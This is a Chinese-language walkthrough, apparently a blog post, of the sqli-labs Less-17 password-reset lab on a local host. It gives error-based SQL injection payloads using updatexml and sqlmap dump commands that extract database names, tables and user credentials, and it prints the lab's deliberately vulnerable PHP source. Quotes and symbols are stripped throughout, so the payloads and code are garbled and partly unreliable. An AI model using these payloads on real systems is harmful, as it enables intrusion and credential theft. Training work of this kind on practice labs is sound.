百度合作的网盟网站,深圳搭建网站公司,用个人电脑做服务器建网站,永久观看不收费的直播目录
一、测试环境
1、系统环境
2、使用工具/软件
二、测试目的
三、操作过程
1、寻找注入点
2、注入数据库
①寻找注入方法
②爆库#xff0c;查看数据库名称
③爆表#xff0c;查看security库的所有表
④爆列#xff0c;查看users表的所有列
⑤成功获取用户名…目录
一、测试环境
1、系统环境
2、使用工具/软件
二、测试目的
三、操作过程
1、寻找注入点
2、注入数据库
①寻找注入方法
②爆库查看数据库名称
③爆表查看security库的所有表
④爆列查看users表的所有列
⑤成功获取用户名和密码信息
3、sqlmap注入方法
①爆库
②爆表
③爆列
④爆字段
四、源代码分析
五、结论 一、测试环境
1、系统环境
渗透机本机(127.0.0.1)
靶 机本机(127.0.0.1)
2、使用工具/软件
火狐浏览器的hackbar插件版本2.3.1
Burp suite版本2024.7.2
测试网址http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-17/
二、测试目的
测试post型的sql注入使用报错注入出账户密码使用sqlmap爆破熟悉sqlmap的参数。
三、操作过程
1、寻找注入点
尝试提交数据发现url中没有参数猜测是post型传参 抓个包看看是post类型传参两个注入点username和password 2、注入数据库
①寻找注入方法
知道传递数据方式后直接使用hackbar传递post型参数即可格式抓包可以知道 uname12passwd12submitSubmit 执行可以传递数据 这是重置密码页面
尝试发现用户名username框不管包含单引号还是双引号都是不会报错的
密码new password框分情况如果username框中输入的是系统中不存在的用户名则new password框中不管包含单引号还是双引号都是不会报错的但如果user name框中输入的是系统中存在的用户名则new password框中包含单引号会报错。
账号admin 密码加上单引号会报错 测试闭合方式
闭合方式为单引号后面拼接报错注入方式可以查出结果 unameadminpasswd12 and updatexml(1,concat(0x7e,substr((select version()),1,31),0x7e),1)#submitSubmit ②爆库查看数据库名称
爆出所有数据库 unameadminpasswd12 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#submitSubmit unameadminpasswd12 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)#submitSubmit unameadminpasswd12 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)#submitSubmit ③爆表查看security库的所有表
爆表security表 unameadminpasswd12 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemasecurity),1,31),0x7e),1)#submitSubmit ④爆列查看users表的所有列
爆列users表 unameadminpasswd12 and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers),1,31),0x7e),1)#submitSubmit ⑤成功获取用户名和密码信息
爆字段值查看username和password字段的所有信息
发现查users表会出错因为语句已经使用了更新数据的语句(是重置密码页面因此sql语句可能是update)不能再用updatexml函数查找这张表 unameadminpasswd12 and updatexml(1,concat(0x7e,substr((select group_concat(username,^,password) from users),1,31),0x7e),1)#submitSubmit 查其他数据库的表没问题 unameadminpasswd12 and updatexml(1,concat(0x7e,substr((select group_concat(username,^,password) from pikachu.users),1,31),0x7e),1)#submitSubmit 3、sqlmap注入方法
①爆库
这关是post传参sqlmap爆破需要抓包将数据包保存再进行爆破
Sqlmap稳定发挥yyds
Burp右键选择copy to file保存 python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --dbs
使用python程序
-r 指定抓到的数据包文件
--dbs 是爆库的参数 ②爆表
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security --tables
-D 指定数据库在这个数据库里找数据表
--tables 爆表的参数 ③爆列
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users --columns
-D 指定数据库
-T 指定数据表
--columns 爆破列名的参数 ④爆字段
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users -C username,password --dump
-D 指定数据库
-T 指定数据表
-C 指定需要爆破的列名
--dump 爆破字段值的参数 四、源代码分析
?php
//including the Mysql connect parameters.
include(../sql-connections/sql-connect.php);
error_reporting(0);function check_input($value){if(!empty($value)){// truncation (see comments)$value substr($value,0,15);}// Stripslashes if magic quotes enabledif (get_magic_quotes_gpc()){$value stripslashes($value);}// Quote if not a numberif (!ctype_digit($value)){$value . mysql_real_escape_string($value) . ;}else{$value intval($value);}return $value;}// take the variables
if(isset($_POST[uname]) isset($_POST[passwd])){
//making sure uname is not injectable
$unamecheck_input($_POST[uname]); $passwd$_POST[passwd];//logging the connection parameters to a file for analysis.
$fpfopen(result.txt,a);
fwrite($fp,User Name:.$uname.\n);
fwrite($fp,New Password:.$passwd.\n);
fclose($fp);// connectivity
$sqlSELECT username, password FROM users WHERE username $uname LIMIT 0,1;$resultmysql_query($sql);
$row mysql_fetch_array($result);
//echo $row;if($row){//echo font color #0000ff; $row1 $row[username]; //echo Your Login name:. $row1;$updateUPDATE users SET password $passwd WHERE username$row1;mysql_query($update);echo br;if (mysql_error()){echo font color #FFFF00 font size 3 ;print_r(mysql_error());echo /br/br;echo /font;}else{echo font color #FFFF00 font size 3 ;//echo You password has been successfully updated ; echo br;echo /font;}echo img src../images/flag1.jpg /; //echo Your Password: .$row[password];echo /font;}else {echo font size4.5 color#FFFF00;//echo Bug off you Silly Dumb hacker;echo /br;echo img src../images/slap1.jpg /;echo /font; }
}?
1.error_reporting(0);函数关闭了php代码的所有错误报告。
2.先检测了用户名是否存在存在才会验证密码验证密码时直接引入了变量存在sql注入出错时会弹出报错信息。
3.这关是重置密码的页面出错会弹出报错信息只能在密码处注入存在万能密码漏洞使用报错注入出信息。
五、结论
寻找注入点的步骤十分重要找到注入点和闭合符号之后的测试就顺理成章了。
Post类型sql注入注入方式要完整提交post参数其他步骤与get类型一致。
寻找闭合符号要有耐心需要不断地尝试。
用sqlmap的话只需要指定抓到的数据包即可。
这关使用报错注入得到结果。